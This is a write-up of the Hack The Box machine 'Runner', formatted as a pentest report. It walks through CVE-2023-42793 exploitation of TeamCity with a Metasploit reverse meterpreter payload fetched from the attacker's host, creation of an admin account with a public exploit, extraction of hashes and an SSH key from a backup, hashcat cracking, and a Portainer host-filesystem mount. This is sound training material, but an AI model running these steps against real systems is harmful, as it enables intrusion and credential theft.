Hack The Box Runner Writeup (Medium Linux)
Medium Linux box. CVE-2023-42793 on a hidden TeamCity vhost gives RCE, its backup leaks an SSH key and a bcrypt hash, and Portainer mounts the host disk.
Summary
Runner is a medium Linux machine whose web root hides a second virtual host, teamcity.runner.htb, which no wordlist finds but cewl does because the site mentions the word teamcity. That TeamCity build is vulnerable to CVE-2023-42793, and the Metasploit module for it returns unauthenticated remote code execution. The same flaw is also used to create an administrative TeamCity account, and from the dashboard a server backup is generated and downloaded: its database dump carries bcrypt hashes, matthew’s cracking to a usable password, and config/projects/AllProjects/pluginData/ssh_keys/id_rsa is john’s private key, which logs into the host over SSH. The nginx sites-enabled directory then reveals a third vhost, portainer-administration.runner.htb, where matthew’s credentials grant control of the Docker environment. Creating a volume bound to / and attaching it to a new container exposes the entire host filesystem inside that container, including root’s files.
Initial Target - 10.10.11.13
Service Enumeration
| IP Address | TCP Ports Open |
|---|---|
| 10.10.11.13 | 22 (OpenSSH 8.9p1), 80 (nginx 1.18.0), 8000 (Nagios NSCA) |
BS01: Initial Access - Unauthenticated Remote Code Execution (RCE)
Explanation: Throughout the testing, it was discovered a hidden subdomain (teamcity.runner.htb) which was not linked anywhere in the main site. That specific subdomain hosts a vulnerable version of JetBrains TeamCity, and a remote attacker could be able to execute system commands remotely by exploiting CVE-2023-42793.
Severity: High
Recommendation: (1 paragraph recommendation)
Steps to Reproduce:
In order to find the subdomain, we can use cewl:
cewl --lowercase -w cewl.txt http://runner.htb. This specific subdomain cannot be found using regular word-lists, however, cewl can find it because the keyword “teamcity” is mentioned somewhere in the website. It’s a good practice to always generate custom word-lists for your target.Use wfuzz to search for valid subdomains:
wfuzz -w cewl.txt -H "Host: FUZZ.runner.htb" --hh 154 http://10.10.11.13Add “teamcity.runner.htb” to your
/etc/hostsfile:
1
2
3
4
5
6
7
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback ctf
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.1.1 ctf
10.10.11.13 teamcity.runner.htb runner.htb
- Run msfconsole and configure it like the following (remember to change LHOST value to your tun0 ip address):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
msf6 > use exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > options
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8111 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
TEAMCITY_CHANGE_TIMEOUT 30 yes The timeout to wait for the changes to be applied
VHOST no HTTP server virtual host
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME huPxsHcdly no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 10.137.0.18 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > set target 1
target => 1
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > set payload cmd/linux/http/x64/meterpreter_reverse_tcp
payload => cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > set lhost tun0
lhost => 10.10.14.10
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > set lport 1337
lport => 1337
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > set rport 80
rport => 80
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > set vhost teamcity.runner.htb
vhost => teamcity.runner.htb
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > set rhosts 10.10.11.13
rhosts => 10.10.11.13
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > set fetch_srvport 7331
fetch_srvport => 7331
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > options
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.11.13 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
TEAMCITY_CHANGE_TIMEOUT 30 yes The timeout to wait for the changes to be applied
VHOST teamcity.runner.htb no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME zOJrpZpsJFS no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 7331 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces.
LHOST 10.10.14.10 yes The listen address (an interface may be specified)
LPORT 1337 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > run
[*] Started reverse TCP handler on 10.10.14.10:1337
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.05.3 (build 129390) detected.
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.ZlRUZ29WTlhMeGhXM0Y4YlFONkoyR1lxR0NN.NTA0NmZlMjktMjQ4MS00YWM3LWFlMzctY2VlZjc1ZDBhZGFi
[*] Modifying internal.properties to allow process creation...
[*] Waiting for configuration change to be applied...
[*] Executing payload...
[*] Resetting the internal.properties settings...
[*] Waiting for configuration change to be applied...
[*] Deleting the authentication token.
[*] Meterpreter session 1 opened (10.10.14.10:1337 -> 10.10.11.13:39190) at 2024-04-22 07:55:39 -0300
meterpreter > ifconfig
Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
Interface 5
============
Name : eth0
Hardware MAC : 02:42:ac:11:00:02
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 172.17.0.2
IPv4 Netmask : 255.255.0.0
meterpreter > getuid
Server username: tcuser
BS02: Sensitive File Exposure - User Credentials
Explanation: Besides being able to execute system commands on the target machine, a remote attacker could also abuse the same teamcity vulnerability discussed in BS01 to create an account with administrative privileges to the interface. With that kind of access, they could modify anything from user management, project-related settings to backup creation.
The creation of a backup is proved to be useful to an attacker because a database dump, containing sensitive information including valid usernames and password hashes, is present within it. With that information in hands, the malicious actor could try to crack the password hashes in their local machine, potentially compromising other users accounts.
Severity: Elevated
Recommendation: (1 paragraph recommendation)
Steps to Reproduce:
Download this exploit from github:
git clone https://github.com/H454NSec/CVE-2023-42793.gitEnter the exploit directory:
cd CVE-2023-42793Run the exploit, passing the teamcity url as argument:
python3 CVE-2023-42793.py -u http://teamcity.runner.htbThe account should have been created by now. The output for the command looks like the following:
[+] http://teamcity.runner.htb/login.html [H454NSec7029:@H454NSec]. In this case, the username isH454NSec7029and the password is@H454NSec.Log in to
http://teamcity.runner.htbusing the newly created account.In the dashboard, click on “Administration” on the top-right corner.
Then, click on “Backup”, on the left panel.
Don’t change any settings, and click “Start Backup”.
The backup will appear under the “The last backup report” tab, and you can click to download it. In this case, the backup file is:
/data/teamcity_server/datadir/backup/TeamCity_Backup_20240422_110948.zipFrom now, you should have the zipped backup in your local system. You can create a new folder and extract the zip file inside it.
The users dump is located at
database_dump/users. You can copy the hashes to a file named “hashes.txt” one per line. In this case, the users dump look like the following:
1
2
3
4
ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1713647035817, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
11, h454nsec9587, $2a$07$2C6KcBUu8CN59l8aCX.Yfe0wd/BEZr0kdnOTGYHXUZkOzBY3i46Ym, , "", 1713647051373, BCRYPT
- Using hashcat, it is possible to crack the hash for “matthew”:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
BS03: Sensitive File Exposure - SSH Private Key
Explanation: A sensitive file exposure vulnerability has been found when creating a backup, in which a valid SSH private key was found, granting access to the host, not the docker container.
Severity: High
Recommendation: (1 paragraph recommendation)
Steps to Reproduce:
Follow the steps outlined in **BS02 **in order to create, download and extract the backup.
The SSH private key is located at
config/projects/AllProjects/pluginData/ssh_keys/id_rsa, and you could find it by runningfind . -type fin order to filter for files only.Change directory and prepare the private key:
cd config/projects/AllProjects/pluginData/ssh_keys/id_rsa && chmod 600 id_rsaUse the SSH private key to log in as john via SSH:
ssh -i id_rsa john@10.10.11.13
BS04: Vertical Privilege Escalation - Portainer
Explanation: A portainer instance was found to be running under the vhost portainer-administration.runner.htb. Using Matthew’s credentials discovered in BS02, it is possible to log in to the portainer interface, and manage the docker environment.
With this access in hands, a malicious actor could be able to create a malicious docker volume, and mount the entire host filesystem in it, thus being able to read sensitive files such as /etc/shadow or even the root’s ssh private key.
Severity: Extreme
Recommendation: (1 paragraph recommendation)
Steps to Reproduce:
We can discover this vhost by looking at the enabled sites on nginx at
/etc/nginx/sites-enabled.Add
portainer-administration.runner.htbto the/etc/hostsfile:
1
2
3
4
5
6
7
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback ctf
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.1.1 ctf
10.10.11.13 portainer-administration.runner.htb teamcity.runner.htb runner.htb
Access
http://portainer-administration.runner.htbin your browser.Log in using matthew’s credentials discovered in BS02.
Click on the “primary” environment.
On the left panel, select “Volumes”.
Add a new volume.
Volume name: evil.
In the volume creation panel, add three new driver options:
name:
o, value:bindname:
device, value:/name:
type, value:tmpfs
Disable access control, and create the volume.
On the left panel, select “Containers” and click to add a new container.
The following settings should be configured:
Name:
evilImage:
ubuntu:latestAccess control:
disabledAdvanced container settings > Command & logging > Console: mark Interactive & TTY
Advanced container settings > Volumes > Volume mapping > + map additional volume
container:
/mnt/evilvolume:
evil - local
Deploy the container and wait a few seconds.
When the container is ready, click to exec the console and navigate to
/mnt/evil, you’ll see that the host filesystem is mounted, and we have access to all sensitive files.